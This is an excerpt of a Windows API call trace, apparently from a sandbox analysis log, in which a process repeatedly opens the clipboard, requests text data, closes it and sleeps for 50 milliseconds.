[0264.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf86c802f, dwHighDateTime=0x1d96e12))
[0264.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.179] GetClipboardData (uFormat=0x1) returned 0x0
[0264.179] CloseClipboard () returned 1
[0264.180] Sleep (dwMilliseconds=0x32)
[0264.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf86ee280, dwHighDateTime=0x1d96e12))
[0264.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.196] GetClipboardData (uFormat=0x1) returned 0x0
[0264.196] CloseClipboard () returned 1
[0264.196] Sleep (dwMilliseconds=0x32)
[0264.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf87144e5, dwHighDateTime=0x1d96e12))
[0264.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.211] GetClipboardData (uFormat=0x1) returned 0x0
[0264.211] CloseClipboard () returned 1
[0264.211] Sleep (dwMilliseconds=0x32)
[0264.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf873a738, dwHighDateTime=0x1d96e12))
[0264.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.226] GetClipboardData (uFormat=0x1) returned 0x0
[0264.226] CloseClipboard () returned 1
[0264.226] Sleep (dwMilliseconds=0x32)
[0264.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf876098e, dwHighDateTime=0x1d96e12))
[0264.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.243] GetClipboardData (uFormat=0x1) returned 0x0
[0264.243] CloseClipboard () returned 1
[0264.243] Sleep (dwMilliseconds=0x32)
[0264.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8786be6, dwHighDateTime=0x1d96e12))
[0264.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.258] GetClipboardData (uFormat=0x1) returned 0x0
[0264.258] CloseClipboard () returned 1
[0264.258] Sleep (dwMilliseconds=0x32)
[0264.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf87ace40, dwHighDateTime=0x1d96e12))
[0264.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.273] GetClipboardData (uFormat=0x1) returned 0x0
[0264.273] CloseClipboard () returned 1
[0264.273] Sleep (dwMilliseconds=0x32)
[0264.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf87d309e, dwHighDateTime=0x1d96e12))
[0264.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.290] GetClipboardData (uFormat=0x1) returned 0x0
[0264.290] CloseClipboard () returned 1
[0264.290] Sleep (dwMilliseconds=0x32)
[0264.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf87f9301, dwHighDateTime=0x1d96e12))
[0264.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.304] GetClipboardData (uFormat=0x1) returned 0x0
[0264.304] CloseClipboard () returned 1
[0264.304] Sleep (dwMilliseconds=0x32)
[0264.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf881f54d, dwHighDateTime=0x1d96e12))
[0264.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.321] GetClipboardData (uFormat=0x1) returned 0x0
[0264.321] CloseClipboard () returned 1
[0264.321] Sleep (dwMilliseconds=0x32)
[0264.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf88457aa, dwHighDateTime=0x1d96e12))
[0264.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.336] GetClipboardData (uFormat=0x1) returned 0x0
[0264.336] CloseClipboard () returned 1
[0264.336] Sleep (dwMilliseconds=0x32)
[0264.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf886ba00, dwHighDateTime=0x1d96e12))
[0264.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.351] GetClipboardData (uFormat=0x1) returned 0x0
[0264.351] CloseClipboard () returned 1
[0264.351] Sleep (dwMilliseconds=0x32)
[0264.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8891c6a, dwHighDateTime=0x1d96e12))
[0264.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.368] GetClipboardData (uFormat=0x1) returned 0x0
[0264.368] CloseClipboard () returned 1
[0264.368] Sleep (dwMilliseconds=0x32)
[0264.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf88b7eb7, dwHighDateTime=0x1d96e12))
[0264.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.383] GetClipboardData (uFormat=0x1) returned 0x0
[0264.383] CloseClipboard () returned 1
[0264.383] Sleep (dwMilliseconds=0x32)
[0264.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf88de113, dwHighDateTime=0x1d96e12))
[0264.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.398] GetClipboardData (uFormat=0x1) returned 0x0
[0264.398] CloseClipboard () returned 1
[0264.398] Sleep (dwMilliseconds=0x32)
[0264.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf890436b, dwHighDateTime=0x1d96e12))
[0264.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.415] GetClipboardData (uFormat=0x1) returned 0x0
[0264.415] CloseClipboard () returned 1
[0264.415] Sleep (dwMilliseconds=0x32)
[0264.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf892a5c1, dwHighDateTime=0x1d96e12))
[0264.432] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.433] GetClipboardData (uFormat=0x1) returned 0x0
[0264.433] CloseClipboard () returned 1
[0264.433] Sleep (dwMilliseconds=0x32)
[0264.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf895082b, dwHighDateTime=0x1d96e12))
[0264.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.446] GetClipboardData (uFormat=0x1) returned 0x0
[0264.446] CloseClipboard () returned 1
[0264.446] Sleep (dwMilliseconds=0x32)
[0264.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8976a7d, dwHighDateTime=0x1d96e12))
[0264.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.461] GetClipboardData (uFormat=0x1) returned 0x0
[0264.461] CloseClipboard () returned 1
[0264.461] Sleep (dwMilliseconds=0x32)
[0264.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf899ccd7, dwHighDateTime=0x1d96e12))
[0264.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.476] GetClipboardData (uFormat=0x1) returned 0x0
[0264.476] CloseClipboard () returned 1
[0264.476] Sleep (dwMilliseconds=0x32)
[0264.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf89c2f29, dwHighDateTime=0x1d96e12))
[0264.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.493] GetClipboardData (uFormat=0x1) returned 0x0
[0264.493] CloseClipboard () returned 1
[0264.493] Sleep (dwMilliseconds=0x32)
[0264.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf89e918e, dwHighDateTime=0x1d96e12))
[0264.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.507] GetClipboardData (uFormat=0x1) returned 0x0
[0264.508] CloseClipboard () returned 1
[0264.508] Sleep (dwMilliseconds=0x32)
[0264.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8a0f3e1, dwHighDateTime=0x1d96e12))
[0264.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.523] GetClipboardData (uFormat=0x1) returned 0x0
[0264.523] CloseClipboard () returned 1
[0264.523] Sleep (dwMilliseconds=0x32)
[0264.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8a35633, dwHighDateTime=0x1d96e12))
[0264.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.540] GetClipboardData (uFormat=0x1) returned 0x0
[0264.540] CloseClipboard () returned 1
[0264.540] Sleep (dwMilliseconds=0x32)
[0264.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8a5b893, dwHighDateTime=0x1d96e12))
[0264.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.554] GetClipboardData (uFormat=0x1) returned 0x0
[0264.554] CloseClipboard () returned 1
[0264.555] Sleep (dwMilliseconds=0x32)
[0264.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8a81af0, dwHighDateTime=0x1d96e12))
[0264.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.571] GetClipboardData (uFormat=0x1) returned 0x0
[0264.571] CloseClipboard () returned 1
[0264.571] Sleep (dwMilliseconds=0x32)
[0264.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8aa7d50, dwHighDateTime=0x1d96e12))
[0264.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.586] GetClipboardData (uFormat=0x1) returned 0x0
[0264.586] CloseClipboard () returned 1
[0264.586] Sleep (dwMilliseconds=0x32)
[0264.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8acdfb0, dwHighDateTime=0x1d96e12))
[0264.602] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.602] GetClipboardData (uFormat=0x1) returned 0x0
[0264.602] CloseClipboard () returned 1
[0264.602] Sleep (dwMilliseconds=0x32)
[0264.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8af4203, dwHighDateTime=0x1d96e12))
[0264.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.618] GetClipboardData (uFormat=0x1) returned 0x0
[0264.618] CloseClipboard () returned 1
[0264.618] Sleep (dwMilliseconds=0x32)
[0264.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8b1a45a, dwHighDateTime=0x1d96e12))
[0264.636] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.636] GetClipboardData (uFormat=0x1) returned 0x0
[0264.636] CloseClipboard () returned 1
[0264.636] Sleep (dwMilliseconds=0x32)
[0264.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8b406b4, dwHighDateTime=0x1d96e12))
[0264.649] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.649] GetClipboardData (uFormat=0x1) returned 0x0
[0264.649] CloseClipboard () returned 1
[0264.649] Sleep (dwMilliseconds=0x32)
[0264.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8b6690f, dwHighDateTime=0x1d96e12))
[0264.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.671] GetClipboardData (uFormat=0x1) returned 0x0
[0264.671] CloseClipboard () returned 1
[0264.671] Sleep (dwMilliseconds=0x32)
[0264.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8b8cb71, dwHighDateTime=0x1d96e12))
[0264.682] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.682] GetClipboardData (uFormat=0x1) returned 0x0
[0264.682] CloseClipboard () returned 1
[0264.682] Sleep (dwMilliseconds=0x32)
[0264.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8bb2dc7, dwHighDateTime=0x1d96e12))
[0264.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.696] GetClipboardData (uFormat=0x1) returned 0x0
[0264.696] CloseClipboard () returned 1
[0264.696] Sleep (dwMilliseconds=0x32)
[0264.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8bd9028, dwHighDateTime=0x1d96e12))
[0264.713] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.713] GetClipboardData (uFormat=0x1) returned 0x0
[0264.713] CloseClipboard () returned 1
[0264.713] Sleep (dwMilliseconds=0x32)
[0264.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8bff277, dwHighDateTime=0x1d96e12))
[0264.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.726] GetClipboardData (uFormat=0x1) returned 0x0
[0264.726] CloseClipboard () returned 1
[0264.726] Sleep (dwMilliseconds=0x32)
[0264.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8c254cd, dwHighDateTime=0x1d96e12))
[0264.744] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.744] GetClipboardData (uFormat=0x1) returned 0x0
[0264.744] CloseClipboard () returned 1
[0264.744] Sleep (dwMilliseconds=0x32)
[0264.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8c4b734, dwHighDateTime=0x1d96e12))
[0264.760] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.760] GetClipboardData (uFormat=0x1) returned 0x0
[0264.761] CloseClipboard () returned 1
[0264.761] Sleep (dwMilliseconds=0x32)
[0264.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8c7197a, dwHighDateTime=0x1d96e12))
[0264.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.773] GetClipboardData (uFormat=0x1) returned 0x0
[0264.773] CloseClipboard () returned 1
[0264.773] Sleep (dwMilliseconds=0x32)
[0264.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8c97bdc, dwHighDateTime=0x1d96e12))
[0264.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.790] GetClipboardData (uFormat=0x1) returned 0x0
[0264.790] CloseClipboard () returned 1
[0264.790] Sleep (dwMilliseconds=0x32)
[0264.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8cbde3a, dwHighDateTime=0x1d96e12))
[0264.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.805] GetClipboardData (uFormat=0x1) returned 0x0
[0264.805] CloseClipboard () returned 1
[0264.805] Sleep (dwMilliseconds=0x32)
[0264.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8ce4096, dwHighDateTime=0x1d96e12))
[0264.823] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.823] GetClipboardData (uFormat=0x1) returned 0x0
[0264.823] CloseClipboard () returned 1
[0264.824] Sleep (dwMilliseconds=0x32)
[0264.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8d0a2f2, dwHighDateTime=0x1d96e12))
[0264.837] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.837] GetClipboardData (uFormat=0x1) returned 0x0
[0264.837] CloseClipboard () returned 1
[0264.837] Sleep (dwMilliseconds=0x32)
[0264.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8d3054f, dwHighDateTime=0x1d96e12))
[0264.852] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.852] GetClipboardData (uFormat=0x1) returned 0x0
[0264.852] CloseClipboard () returned 1
[0264.852] Sleep (dwMilliseconds=0x32)
[0264.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8d567ac, dwHighDateTime=0x1d96e12))
[0264.870] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.870] GetClipboardData (uFormat=0x1) returned 0x0
[0264.870] CloseClipboard () returned 1
[0264.870] Sleep (dwMilliseconds=0x32)
[0264.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8d7c9fe, dwHighDateTime=0x1d96e12))
[0264.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.883] GetClipboardData (uFormat=0x1) returned 0x0
[0264.883] CloseClipboard () returned 1
[0264.883] Sleep (dwMilliseconds=0x32)
[0264.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8da2c5b, dwHighDateTime=0x1d96e12))
[0264.902] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.902] GetClipboardData (uFormat=0x1) returned 0x0
[0264.902] CloseClipboard () returned 1
[0264.903] Sleep (dwMilliseconds=0x32)
[0264.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8dc8eb0, dwHighDateTime=0x1d96e12))
[0264.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.915] GetClipboardData (uFormat=0x1) returned 0x0
[0264.915] CloseClipboard () returned 1
[0264.915] Sleep (dwMilliseconds=0x32)
[0264.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8def109, dwHighDateTime=0x1d96e12))
[0264.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.930] GetClipboardData (uFormat=0x1) returned 0x0
[0264.930] CloseClipboard () returned 1
[0264.930] Sleep (dwMilliseconds=0x32)
[0264.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8e15362, dwHighDateTime=0x1d96e12))
[0264.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.947] GetClipboardData (uFormat=0x1) returned 0x0
[0264.947] CloseClipboard () returned 1
[0264.947] Sleep (dwMilliseconds=0x32)
[0264.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8e3b5c1, dwHighDateTime=0x1d96e12))
[0264.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.961] GetClipboardData (uFormat=0x1) returned 0x0
[0264.961] CloseClipboard () returned 1
[0264.961] Sleep (dwMilliseconds=0x32)
[0264.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8e61815, dwHighDateTime=0x1d96e12))
[0264.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.976] GetClipboardData (uFormat=0x1) returned 0x0
[0264.976] CloseClipboard () returned 1
[0264.976] Sleep (dwMilliseconds=0x32)
[0264.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8e87a6e, dwHighDateTime=0x1d96e12))
[0264.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0264.993] GetClipboardData (uFormat=0x1) returned 0x0
[0264.994] CloseClipboard () returned 1
[0264.994] Sleep (dwMilliseconds=0x32)
[0265.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8eadccb, dwHighDateTime=0x1d96e12))
[0265.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.008] GetClipboardData (uFormat=0x1) returned 0x0
[0265.008] CloseClipboard () returned 1
[0265.008] Sleep (dwMilliseconds=0x32)
[0265.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8ed3f25, dwHighDateTime=0x1d96e12))
[0265.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.023] GetClipboardData (uFormat=0x1) returned 0x0
[0265.023] CloseClipboard () returned 1
[0265.023] Sleep (dwMilliseconds=0x32)
[0265.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8efa17e, dwHighDateTime=0x1d96e12))
[0265.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.040] GetClipboardData (uFormat=0x1) returned 0x0
[0265.041] CloseClipboard () returned 1
[0265.041] Sleep (dwMilliseconds=0x32)
[0265.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8f203e6, dwHighDateTime=0x1d96e12))
[0265.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.054] GetClipboardData (uFormat=0x1) returned 0x0
[0265.054] CloseClipboard () returned 1
[0265.055] Sleep (dwMilliseconds=0x32)
[0265.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8f46670, dwHighDateTime=0x1d96e12))
[0265.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.072] GetClipboardData (uFormat=0x1) returned 0x0
[0265.072] CloseClipboard () returned 1
[0265.072] Sleep (dwMilliseconds=0x32)
[0265.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8f6c8c2, dwHighDateTime=0x1d96e12))
[0265.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.086] GetClipboardData (uFormat=0x1) returned 0x0
[0265.086] CloseClipboard () returned 1
[0265.086] Sleep (dwMilliseconds=0x32)
[0265.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8f92b1b, dwHighDateTime=0x1d96e12))
[0265.102] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.102] GetClipboardData (uFormat=0x1) returned 0x0
[0265.102] CloseClipboard () returned 1
[0265.102] Sleep (dwMilliseconds=0x32)
[0265.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8fb8e4d, dwHighDateTime=0x1d96e12))
[0265.119] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.119] GetClipboardData (uFormat=0x1) returned 0x0
[0265.119] CloseClipboard () returned 1
[0265.119] Sleep (dwMilliseconds=0x32)
[0265.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8fdf08f, dwHighDateTime=0x1d96e12))
[0265.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.133] GetClipboardData (uFormat=0x1) returned 0x0
[0265.133] CloseClipboard () returned 1
[0265.133] Sleep (dwMilliseconds=0x32)
[0265.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9005230, dwHighDateTime=0x1d96e12))
[0265.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.149] GetClipboardData (uFormat=0x1) returned 0x0
[0265.149] CloseClipboard () returned 1
[0265.149] Sleep (dwMilliseconds=0x32)
[0265.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf902b461, dwHighDateTime=0x1d96e12))
[0265.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.165] GetClipboardData (uFormat=0x1) returned 0x0
[0265.165] CloseClipboard () returned 1
[0265.165] Sleep (dwMilliseconds=0x32)
[0265.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf90516ac, dwHighDateTime=0x1d96e12))
[0265.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.180] GetClipboardData (uFormat=0x1) returned 0x0
[0265.180] CloseClipboard () returned 1
[0265.180] Sleep (dwMilliseconds=0x32)
[0265.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf90778fe, dwHighDateTime=0x1d96e12))
[0265.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.196] GetClipboardData (uFormat=0x1) returned 0x0
[0265.197] CloseClipboard () returned 1
[0265.197] Sleep (dwMilliseconds=0x32)
[0265.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf909db6b, dwHighDateTime=0x1d96e12))
[0265.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.211] GetClipboardData (uFormat=0x1) returned 0x0
[0265.211] CloseClipboard () returned 1
[0265.211] Sleep (dwMilliseconds=0x32)
[0265.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf90c3db3, dwHighDateTime=0x1d96e12))
[0265.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.227] GetClipboardData (uFormat=0x1) returned 0x0
[0265.227] CloseClipboard () returned 1
[0265.227] Sleep (dwMilliseconds=0x32)
[0265.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf90ea00b, dwHighDateTime=0x1d96e12))
[0265.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.243] GetClipboardData (uFormat=0x1) returned 0x0
[0265.243] CloseClipboard () returned 1
[0265.244] Sleep (dwMilliseconds=0x32)
[0265.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf911026a, dwHighDateTime=0x1d96e12))
[0265.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0265.258] GetClipboardData (uFormat=0x1) returned 0x0
[0265.258] CloseClipboard () returned 1
[0265.258] Sleep (dwMilliseconds=0x32)
